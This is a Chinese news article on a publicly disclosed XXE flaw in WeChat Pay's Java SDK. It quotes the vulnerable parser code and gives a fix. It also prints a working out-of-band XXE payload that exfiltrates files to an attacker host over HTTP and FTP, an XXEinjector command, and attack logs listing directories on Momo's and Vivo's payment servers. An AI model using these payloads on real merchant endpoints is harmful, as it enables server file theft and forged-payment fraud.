今天,国外安全社区 Seclists.Org 里一名白帽子披露了微信支付官方 SDK 存在严重的 XXE 漏洞,可导致商家服务器被入侵,且黑客可避开真实支付通道,用虚假的支付通知来购买任意产品。

500558719_wx.jpg

  值得一提的是,这名白帽子不知如何联系微信安全团队人员,所以在 Twitter 上 @360Netlab,于是 360 代为转达了该漏洞。这就造成了在没有提前通知厂商的情况下就公布了这一漏洞。

  


微信图片_20180703191619.jpg
微信图片_20180703191640.png



  


  什么是 XXE 漏洞?

  XML 外部实体注入漏洞(XML External Entity Injection,简称 XXE),是一种容易被忽视,但危害巨大的漏洞。它可以利用 XML 外部实体加载注入,执行不可预控的代码,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

  

  微信 SDK 的 XXE 漏洞原理

  通常,我们在使用微信支付时,商家会有一个通知的 URL 来接收异步支付结果。然而,微信在 JAVA 版本的 SDK 存在一个 XXE 漏洞来处理这个结果。由此攻击者可以向通知的 URL 中构建恶意的回调数据,以便根据需要窃取商家服务器上的任意信息。一旦攻击者获得商家的关键安全密钥(md5-key 和merchant-Id),那么他们可以通过发送伪造的信息来欺骗商家而无需付费购买任意商品。

  

  影响范围

  现已有陌陌、Vivo 已经验证被该漏洞影响。

  受影响的版本有 JAVA SDK,WxPayAPI_JAVA_v3。

  •   存在漏洞的 SDK 页面:https://pay.weixin.qq.com/wiki/doc/api/index.html

  •   JAVA SDK:https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

  •   WxPayAPI_JAVA_v3:https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view

  

  漏洞详情

  WxPayApi_JAVA_v3.zip 的 README.md 中显示了更多的细节:

 
 notify code example:
    [
        String notifyData = 
"...."
;
        MyConfig config = 
new
 MyConfig();
        WXPay wxpay = 
new
 WXPay(config);
//conver to map
        Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);
        
if
 (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
        }
        
else
 {
         }
     ]
    WXPayUtil source code
   [
  
public
 
static
 Map<String, String> xmlToMap(String strXML) throws
Exception
 {
    
try
 {
            Map<String, String> data = 
new
 HashMap<String, String>();
            
/*** not disabled xxe *****/
            
//start parse
            DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
            DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
            InputStream stream = 
new
 ByteArrayInputStream(strXML.getBytes(
"UTF-8"
));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);
           
//end parse
            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();
            
for
 (int idx = 
0
; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                
if
 (node.getNodeType() == Node.ELEMENT_NODE) {
                    org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
                    data.put(element.getNodeName(), element.getTextContent
());
                }
            }
            
try
 {
                stream.close();
            } 
catch
 (
Exception
 ex) {
                
// do nothing
            }
            
return
 data;
        } 
catch
 (
Exception
 ex) {
            WXPayUtil.getLogger().warn(
"Invalid XML, can not convert to
map. Error message: {}. XML content: {}"
, ex.getMessage(), strXML);
            
throw
 ex;
        }
    }
]

  发布有效的商家通知 URL:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % attack SYSTEM "file:///etc/">
  <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
  %xxe;
]>

  data.dtd:

 
<!ENTITY % shell 
"<!ENTITY &#x25; upload SYSTEM 'ftp://attack:33/%attack;
'>"
>
%shell;
%upload;


  或使用 XXEinjector 工具:https://github.com/enjoiz/XXEinjector 以检测:

  

ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --ssl
req.txt :
POST merchant_notification_url HTTP/1.1
Host:  merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
XXEINJECT


  陌陌案例:

 
attack:
     notify url:    https:
//pay.immomo.com/weixin/notify
              cmd:  
/home/
      result:
      ***
      logs
      zhang.jiax**
      zhang.shaol**
      zhang.xia**
      ****
    attack:
     notify url:    https:
//pay.immomo.com/weixin/notify
              cmd:  
/home/
logs
      result:
      ***
       moa-service
       momotrace
      ****


  Vivo 案例:

 

attack:
     notify url:   https:
//pay.vivo.com.cn/webpay/wechat/callback.oo
              cmd: 
/home/
      result:
         tomcat
  attack:
     notify url:   https:
//pay.vivo.com.cn/webpay/wechat/callback.oo
              cmd: 
/home/
tomcat
     result:
        .bash_logout
.bash_profile
.bashrc
logs
 attack:
     notify url:   https:
//pay.vivo.com.cn/webpay/wechat/callback.oo
              cmd: 
/home/
tomcat/logs
     result:
           ****
           tomcat
-2018
-06
-28.
log
  tomcat
-2018
-06
-29.
log
  tomcat
-2018
-06
-30.
log
           *****


  

  修复建议

  用户可使用开发语言提供的禁用外部实体的方法。Java 禁用外部实体的代码如下:

 

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(
false
);

  


  写在最后

  目前,我们已经向微信支付的相关技术专家证实这一漏洞的存在,其表示正在紧急修复中。当然普通的用户也不用太过担心,受影响的是使用微信支付的部分网站,如果相关的企业使用的不是官方提供的 Java 版 SDK,也没有太大的问题。不过,XXE 漏洞并非第一次出现,但是一直以来,仍未得到重视,这也是作为开发者的我们需要反思的地方。

  参考:

  http://seclists.org/fulldisclosure/2018/Jul/3